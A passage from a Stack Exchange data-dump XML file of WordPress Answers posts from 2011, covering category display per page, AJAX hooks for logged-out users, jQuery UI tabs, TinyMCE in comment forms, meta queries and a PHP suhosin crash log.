CommentCount="7" />
  <row Id="22017" PostTypeId="1" CreationDate="2011-07-05T10:33:46.933" Score="0" ViewCount="30" Body="&lt;p&gt;I have a problem to resolve. I have wordpress site with 2 pages : Food and Cooking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have categories : food_categories (1) and cooking_categories (2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show only food_categories  on Food page and only cooking_categories on Cooking page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to resolve it . Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="6755" LastActivityDate="2011-07-05T11:07:17.273" Title="How to Show or Hidden Categories on page in Wordpress?" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="22018" PostTypeId="2" ParentId="22013" CreationDate="2011-07-05T10:37:06.713" Score="0" ViewCount="" Body="&lt;p&gt;try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&#xA;&#xA;if (has_post_thumbnail( $post-&amp;gt;ID ) ){&#xA;//    &#xA;      get_the_post_thumbnail($post-&amp;gt;ID); &#xA;//&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-05T10:37:06.713" CommentCount="1" />
  <row Id="22019" PostTypeId="2" ParentId="22017" CreationDate="2011-07-05T11:07:17.273" Score="1" ViewCount="" Body="&lt;p&gt;Goto your respective page template file, default is page.php and the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if (is_page('Food')) {&#xA;      $catID=11;&#xA;    } elseif (is_page('Cooking')) {&#xA;      $catID=12;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the category ID, navigate to dashboard&gt;posts&gt;categories&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the respective category, and see the url,&#xA;it must be something like this &lt;code&gt;wp-admin/categories.php?action=edit&amp;amp;cat_ID=11&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take the value of &lt;code&gt;cat_ID&lt;/code&gt; in this case the id will be &lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-05T11:07:17.273" CommentCount="2" />
  <row Id="22020" PostTypeId="1" CreationDate="2011-07-05T11:14:48.177" Score="0" ViewCount="56" Body="&lt;p&gt;my plugin uses add_action for &lt;code&gt;wp_ajax_cl_ajax&lt;/code&gt; and &lt;code&gt;wp_ajax_nopriv_cl_ajax&lt;/code&gt; in it's code and on the few thousand sites that are using it, it is fine but one site is not working for logged out users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a logged in user is fine, the code sends a request to ajax and everything gets returned fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on other blogs, a logged out user is fine but just on this one blog a -1 gets returned for the ajax request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added debug code to the plugin to die at the do_ajax function with a message but it doesn't even get to that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the action for the logged out user ajax&#xA;&lt;code&gt;add_action('wp_ajax_nopriv_cl_ajax','do_ajax');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the function has this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function do_ajax(){&#xA;    if(isset($_REQUEST['debug'])){&#xA;      die('in ajax function');&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just change the ajax url to have a var for debug (..../wp-admin/admin-ajax.php?debug=true)&#xA;on my test sites it dies, for a logged in user it dies but for a logged out user, it just returns -1 which tells me the action is not even being triggered. I added more debug code to the function that adds the actions for &lt;code&gt;has_filter&lt;/code&gt; and it returns 1 so i know the action is added, just not fired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the theme but no joy there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the site is using wp 3.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone have any experience with wp_ajax_nopriv_xxx not firing? what caused it for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as I said, it is working fine on other blogs so I know it isn't a case of a typo or missing code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what other things can I do to determine what is causing the action not to fire?&lt;/p&gt;&#xA;" OwnerUserId="699" LastActivityDate="2011-09-04T09:28:17.670" Title="wp_ajax_nopriv_xxx is not firing on one site, works on all others. -1 for logged out users" Tags="&lt;ajax&gt;" AnswerCount="2" />
  <row Id="22021" PostTypeId="1" CreationDate="2011-07-05T11:19:19.480" Score="0" ViewCount="28" Body="&lt;p&gt;I need to give each post a unique post order for certain categories which it appears in. I can imagine a solution using custom fields whereby for said categories there is a corresponding custom field for the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories: &#xA;Playlist1&#xA;Playlist2 &#xA;Playlist3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom fields for the post: &#xA;Playlist1_Order&#xA;Playlist2_Order &#xA;Playlist3_Order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is obviously not easily scalable though so I would like to know if anybody has a more elegant solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I am setting up a site to accompany a 24/7 broadcast. The playlist for the broadcast is a 12hr loop that is modified once per week. Some shows are added &amp;amp; removed and the order of some shows is re-arranged. I intend to define a custom post type of Shows and custom taxonomy of playlist. Each show will be added to one or more playlists. It must be possible for the show to have a unique order in each playlist. (I decided to keep the question limited to posts &amp;amp; categories rather than post-types &amp;amp; taxonomies to avoid confusion).&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2011-07-05T11:19:19.480" Title="Different post sort order within different categories" Tags="&lt;posts&gt;&lt;categories&gt;&lt;taxonomy&gt;" />
  <row Id="22022" PostTypeId="1" CreationDate="2011-07-04T23:54:52.357" Score="0" ViewCount="16" Body="&lt;p&gt;I have created a number of custom menu slots in my WordPress theme, and the output of the links into them has been very easy. Unfortunately I cannot find a way to output the &lt;em&gt;user entered&lt;/em&gt; title for the menu above the list in each menu slot. This doesn't seem to come with the default WordPress function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there is a simple and efficient way to grab the user entered name of the menu that is currently in a slot in my theme. [Somewhat like the way the widgets function allows you to chose whether you want to show the title of the specific widget.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Still looking for help!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6769" LastActivityDate="2011-07-05T11:28:40.563" Title="Getting the WordPress custom menu titles and outputting them in a theme" Tags="&lt;php&gt;" CommentCount="2" />
  <row Id="22023" PostTypeId="1" AcceptedAnswerId="22244" CreationDate="2011-07-05T11:55:52.927" Score="0" ViewCount="57" Body="&lt;p&gt;I am unable to see custom taxonomy box in the wordpress new menu system. I can see the post types but custom taxonomies are not available. I saw the screen options aswell custom taxonomies are not listed there. I am using more taxonomy plugin to create taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="5823" LastActivityDate="2011-07-07T05:16:54.480" Title="Custom taxonomy not appearing in menu administration panel" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="22024" PostTypeId="2" ParentId="22020" CreationDate="2011-07-05T12:05:57.197" Score="0" ViewCount="" Body="&lt;p&gt;The condition for such hook to fire is quite simple, as per &lt;code&gt;admin-ajax.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !empty( $_REQUEST['action'] ) )&#xA;    do_action( 'wp_ajax_nopriv_' . $_REQUEST['action'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the likely reasons are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You script does not pass action name properly (which is unlikely if exactly same code works for logged in user).&lt;/li&gt;&#xA;&lt;li&gt;Action name gets messed up in WordPress by something and it somehow depends on user being logged in.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd try to hook into &lt;code&gt;admin_init&lt;/code&gt; and dump all of &lt;code&gt;$_REQUEST&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T12:05:57.197" CommentCount="4" />
  <row Id="22025" PostTypeId="2" ParentId="22023" CreationDate="2011-07-05T12:16:19.180" Score="1" ViewCount="" Body="&lt;p&gt;In the upper right-hand area of the screen you will see a little tab labeled &quot;Screen Options&quot;. You will want to click on it and make sure that the taxonomy's name is checked.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-05T12:16:19.180" CommentCount="3" />
  <row Id="22026" PostTypeId="2" ParentId="22006" CreationDate="2011-07-05T12:21:27.213" Score="1" ViewCount="" Body="&lt;p&gt;It was correctly pointed out what the issue is, but I also want to explain it so you have better idea of mechanics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;when you use &lt;code&gt;query_posts()&lt;/code&gt; it writes down generated &lt;code&gt;WP_Query&lt;/code&gt; object into global &lt;code&gt;$wp_query&lt;/code&gt; variable;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;have_posts()&lt;/code&gt; and &lt;code&gt;the_post()&lt;/code&gt; functions are wrappers for methods of same name called using global &lt;code&gt;$wp_query&lt;/code&gt; object;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;so what you are doing in that code is keep overwriting &lt;code&gt;$wp_query&lt;/code&gt; and keep asking it if there are posts to process. And there are always posts because as soon as you process post you kick query back to new clean state.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts/&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T12:21:27.213" />
  <row Id="22027" PostTypeId="1" CreationDate="2011-07-05T12:35:19.060" Score="0" ViewCount="124" Body="&lt;p&gt;I am trying to add the embedded TinyMCE editor to content area using the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'comment_form_after', 'tinyMCE_comment_form' );&#xA;&#xA;function tinyMCE_comment_form() {&#xA;&#xA;    wp_tiny_mce(false, array(&#xA;        'mode' =&amp;gt; 'exact',&#xA;        'elements' =&amp;gt; 'comment',&#xA;        'height' =&amp;gt; 200,&#xA;        'plugins' =&amp;gt; 'inlinepopups,wpdialogs,wplink,media,wpeditimage,wpgallery,paste,tabfocus',&#xA;        'forced_root_block' =&amp;gt; false,&#xA;        'force_br_newlines' =&amp;gt; true,&#xA;        'force_p_newlines' =&amp;gt; false,&#xA;        'convert_newlines_to_brs' =&amp;gt; true&#xA;    ));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;defined in &lt;strong&gt;functions.php&lt;/strong&gt; of my theme. For some reason if I load a page with comments there it returns the error &lt;strong&gt;wp_tiny_mce is not found&lt;/strong&gt;. Do you know how to fix it? Maybe I chosen the wrong action?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-09-04T09:42:00.283" Title="wp_tiny_mce function not found" Tags="&lt;tinymce&gt;&lt;func&gt;" AnswerCount="2" />
  <row Id="22028" PostTypeId="1" CreationDate="2011-07-04T16:31:12.040" Score="0" ViewCount="104" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21952/wp-query-with-checkbox-meta-query&quot;&gt;WP_Query with checkbox meta_query&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Ok, so I have a custom post type and have used the Verve Meta Boxes plugin to create some custom meta values for the post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta box is called 'Subjects' and has a checkbox list of subjects to assign values to it. For example, I have ticked Math, English and Science.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to perform a WP_Query which will take an array of subjects selected by the user as an array, compare those subjects to those selected for the custom post type, and return posts if any of them match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subjects_array = explode(&quot;_&quot;, $_GET[&quot;subjects&quot;]);&#xA;&#xA;$args = array(&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_type' =&amp;gt; 'any',&#xA;            'meta_query' =&amp;gt; array(&#xA;&#xA;         // Not sure what type of meta query to do   &#xA;&#xA;            )&#xA;        );&#xA;&#xA;&#xA;$query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To cut a long story short, I just need to know if there's a way to perform a meta_query which will compare an array against whatever format the data in the meta box is in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible, I just need to know then I'll look at a different way of doing it, but I'm thinking there's perhaps some meta_query ability I don't know about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2011-07-05T13:01:09.253" ClosedDate="2011-07-05T14:13:47.400" Title="WP_Query with checkbox meta_query - Wordpress" Tags="&lt;query&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="22029" PostTypeId="2" ParentId="22028" CreationDate="2011-07-05T08:15:23.853" Score="0" ViewCount="" Body="&lt;p&gt;My question was fantastically answered on Wordpress Stack Exchange: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21952/wp-query-with-checkbox-meta-query&quot;&gt;http://wordpress.stackexchange.com/questions/21952/wp-query-with-checkbox-meta-query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2011-07-05T08:15:23.853" />
  <row Id="22030" PostTypeId="1" CreationDate="2011-07-05T13:01:22.793" Score="2" ViewCount="90" Body="&lt;p&gt;Is there an easy way to see if a user - someone how has logged in in the past but is not currently logged in - is visiting my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that checking if &lt;code&gt;$COOKIE[TEST_COOKIE]&lt;/code&gt; is set, but I am uncertain. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this a good method?&lt;/li&gt;&#xA;&lt;li&gt;Is there a better cookie to check for?&lt;/li&gt;&#xA;&lt;li&gt;What would you do?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-07-05T15:30:02.470" LastActivityDate="2011-08-19T08:03:03.807" Title="How to detect a user that is not logged in" Tags="&lt;cookies&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22031" PostTypeId="1" AcceptedAnswerId="22032" CreationDate="2011-07-04T01:44:20.570" Score="0" ViewCount="235" Body="&lt;p&gt;I want to use jQuery UI tabs in my WordPress 3.1.4 pages. I write programming tutorials for a VB .NET audience but like to provide C# source as well, and I want to use the tabs to let the readers switch between the two. I could probably make my own given time, but this was supposed to be a &quot;learn things about jQuery&quot; project. It's turning out to be more of a &quot;WTF WordPress&quot; project. I'm barely functional in JS and trying to correct that. I'm no WP guru, and don't care to learn more than I need to know yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a page that is nothing but a copy/paste of the jQuery UI Tabs demo. It doesn't work; the list and all divs are visible and there's no actual tabs. I know this is because I need some CSS, but this is where I got exhausted. I'm not confident having the CSS will make it work anymore, and I don't even know how to tell if it's the CSS, my JS, or my WP that's the problem. Until I started this project my blog &quot;just worked&quot; and that's how I like my not-work things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I tried was putting the Google CDN for jQuery in my theme's header.php. I could get alerts working, but no matter what I did the tabs didn't show up. (I know now this is because I apparently needed some CSS. Thanks for not mentioning that jQuery documentation!) So I started doing some reasearch and realized that WP loads jQuery, as do many plugins (though I'm running only Spam Karma and Askimet.) It made sense that maybe loading the Google jQuery caused some confusion. After some research, I found several sites that suggested putting wp_enqueue_script() in my header. The documentation listed a bunch of scripts, so I added &quot;jquery&quot;, &quot;jquery-ui-core&quot;, and &quot;jquery-ui-tabs&quot;. I can see a script tag loading jQuery (version 1.4.4...) in my header, but the other tags seem to have no effect. I understand it's loaded in &quot;no conflict&quot; mode so you use &quot;jQuery()&quot; when you'd normally use &quot;$()&quot;. I can get alerts working but not the tabs. Again, I'm suspicious because it doesn't look like my page is trying to load jQuery UI at all. It probably wouldn't matter because I'm not sure if WP comes with the right CSS. I've seen a few pages that suggest I have to load jQuery UI in the page's footer, others that claim I need to add some stuff I don't understand to functions.php, and a couple of other solutions from articles too old to trust. I don't know what to try next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I did some work to figure out what CSS I need (thanks again, jQuery &quot;documentation&quot;!) I could get tabs working on a local file. In WP, I'm using the TwentyTen theme; my only modifications have been to add the SyntaxHighlighter scripts (which I'll disable if someone can tell me I'm close enough it should be working and they may be the problem.) I just upgraded to WP 3.1.4 today. Here's the contents of relevant files, you can view source to see what the HTML looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;header.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_enqueue_script(&quot;jquery-ui-core&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_enqueue_script(&quot;jquery-ui-tabs&quot;); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.owenpellegrin.com/blog/highlight/scripts/shCore.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.owenpellegrin.com/blog/highlight/scripts/shBrushCSharp.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.owenpellegrin.com/blog/highlight/scripts/shBrushVb.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.owenpellegrin.com/blog/highlight/scripts/shBrushXml.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;http://www.owenpellegrin.com/blog/highlight/styles/shCore.css&quot;/&amp;gt;&#xA;&amp;lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;http://www.owenpellegrin.com/blog/highlight/styles/shThemeDefault.css&quot;/&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    SyntaxHighlighter.all();&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;meta charset=&quot;&amp;lt;?php bloginfo( 'charset' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php&#xA;(... the rest of the default TwentyTen header.php ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.owenpellegrin.com/ui-testing/&quot; rel=&quot;nofollow&quot;&gt;the linked page&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(&quot;document&quot;).ready(function() {&#xA;    jQuery( &quot;#tabs&quot; ).tabs();&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;tabs&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tabs-1&quot;&amp;gt;Nunc tincidunt&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tabs-2&quot;&amp;gt;Proin dolor&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tabs-3&quot;&amp;gt;Aenean lacinia&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;div id=&quot;tabs-1&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Tab 1 content.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;tabs-2&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Tab 2 content&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;tabs-3&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Tab 3 content&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the ready() call because I was curious if perhaps the code from the demo wasn't running. I've also tried this variant of the code with no joy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;document&quot;).ready(function() {&#xA;    jQuery( &quot;#tabs&quot; ).tabs();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="6760" LastActivityDate="2011-07-24T10:50:36.427" Title="How do I use jQuery UI tabs in a WordPress page?" Tags="&lt;untagged&gt;" AnswerCount="2" />
  <row Id="22032" PostTypeId="2" ParentId="22031" CreationDate="2011-07-04T16:09:46.720" Score="2" ViewCount="" Body="&lt;p&gt;The short answer is that you need to include a jQuery UI CSS &quot;Theme&quot; with your code.  The jQuery UI framework is actually a combination of JavaScript and CSS (and it looks like you've only included the JavaScript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick test, I just applied the &quot;Base&quot; theme to your code &lt;a href=&quot;http://jsfiddle.net/ATx2x/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  (Notice on the sidebar, under Manage Resources, there's a link to a Google hosted jqueryui.css file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery UI has a lot of &lt;a href=&quot;http://jqueryui.com/themeroller/&quot; rel=&quot;nofollow&quot;&gt;pre-built themes&lt;/a&gt; you can use.  (See the &quot;Gallery&quot; tab).  Or you can roll your own!  Pretty flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To lengthen my answer a bit... I'll recommend using Google's CDN instead of the built-in jQuery files for two reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You'll get newer versions&lt;/li&gt;&#xA;&lt;li&gt;It'll be faster&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But your research is correct... You don't want to simply include the jQuery CDN reference in your header because then WordPress doesn't know that you already included it!  (And you'll get conflicts with other plugins that require jQuery).  A simple solution is to add the following snippet of code in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// custom script queues&#xA;if (!is_admin()) {&#xA;    wp_deregister_script('jquery');&#xA;    wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js&quot;), false);&#xA;    wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code basically tells WordPress to ignore its own version of jQuery, use the reference you have in here, and then queue it up!  (Now if another plugin &quot;requests&quot; jQuery via the WordPress API, it'll know that it's already loaded and ready to go).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I don't worry about doing this with jQuery UI.  I've yet to use a plugin that specifically wants to queue it up on its own.  So in my header.php I've just included it myself, along with a theme that I like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/themes/cupertino/jquery-ui.css&quot;/&amp;gt;&#xA;&amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck with your project!&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-04T16:09:46.720" CommentCount="1" />
  <row Id="22033" PostTypeId="1" CreationDate="2011-06-22T23:10:34.100" Score="0" ViewCount="54" Body="&lt;p&gt;I'm working on a CMS based on Zend Frameowrk and I'm triying to get the mos usefull features from wordpress. One of these is the use of functions.php in the template directory and I think I could do it for my CMS. What about adding a Class in the theme directory (templates/public) and calling (instanciate) it in the bootstrap. What do you think??&lt;/p&gt;&#xA;" LastActivityDate="2011-09-03T18:40:57.063" Title="Wordpress function.php on ZendFramework CMS" Tags="&lt;templates&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22034" PostTypeId="1" CreationDate="2011-07-03T14:27:09.310" Score="0" ViewCount="30" Body="&lt;p&gt;I have installed a new plugin on my wordpress site (&lt;a href=&quot;http://wpml.org&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt;). Whenever I access a page of this new plugin in the backend or whenever this plugins code is excuted somewhere else I get the following in the syslog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul  3 16:14:25 website suhosin[30847]: ALERT - zend_mm_head corrupted at 0x7fef93734ab0 (attacker '93.219.188.3', file '/var/www/wp-admin/admin.php')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apache dies and I have to restart the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know about this error message? I read that setting the &lt;code&gt;output_buffer&lt;/code&gt; property in the php.ini should solve the problem, but it does not in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed php 5.3.3 with suhosin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="6812" LastActivityDate="2011-07-05T13:04:40.940" Title="PHP Error in Wordpress installation: zend_mm_head" Tags="&lt;php&gt;&lt;apache&gt;" CommentCount="1" />
  <row Id="22035" PostTypeId="1" CreationDate="2011-06-30T03:32:02.440" Score="1" ViewCount="83" Body="&lt;p&gt;I'm building a complex gallery component for a client in WordPress. My main stumbling point is creating a media uploader in the admin screen that will let them upload images into different folders. Due to the number of images, organizing by folders is critical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I essentially need to emulate the functionality of the current WordPress media uploader, but with the ability to create/choose folders for the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know where to start- Is there a standard way of implementing file uploads in websites that would lend itself to this scenario?&lt;/p&gt;&#xA;" OwnerUserId="4197" LastActivityDate="2011-07-09T20:11:32.437" Title="Building a better media uploader for WordPress" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22036" PostTypeId="1" CreationDate="2011-07-05T13:15:24.747" Score="0" ViewCount="66" Body="&lt;p&gt;I have recently had to add sets of categories ( parent-&gt;child ) to have two custom post types using the same taxonomy. I tried adding a $_GET param to my URLs and queries but it conflicted with some widgets I wrote to display my recent custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how my Taxonomy terms break down:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Taxonomy1 -&amp;gt; All Terms (parent) -&amp;gt; Child Category-Terms &#xA;----[ applied to both post types ]&#xA;Taxonomy1 -&amp;gt; All Terms-pt-1 (parent for post type 1) -&amp;gt; Child Category-Terms-pt-1 &#xA;----[ applied to post type 1 only ]&#xA;Taxonomy1 -&amp;gt; All Terms-pt-2 (parent for post type 2) -&amp;gt; Child Category-Terms-pt-2 &#xA;----[ applied to post type 2 only ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pt-1 and pt-2 terms are named identically to the All Terms with the addition of their post type name appended to the end. Example: Term Name1, Term Name1 Type 1, Term Name1 Type 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I apply the new sets of terms based on the ones already set? So I don't have to go in and check off each box - I have 7 taxonomies to do this for and at least 15 terms in each taxonomy. Basically I would like to be able to set up a function that reads the applied terms, associates them with the terms from the pt-1 or pt-2 terms based upon post type, then apply the new terms when saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need this for the posts already in the system - about 150 - then I can remove the function. Is this possible? I tried augmenting a &quot;set a default post category on save&quot; plugin but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or direction is greatly appreciated! Thanx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT --- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ds_update_custom_lingerie_cats(){&#xA;global 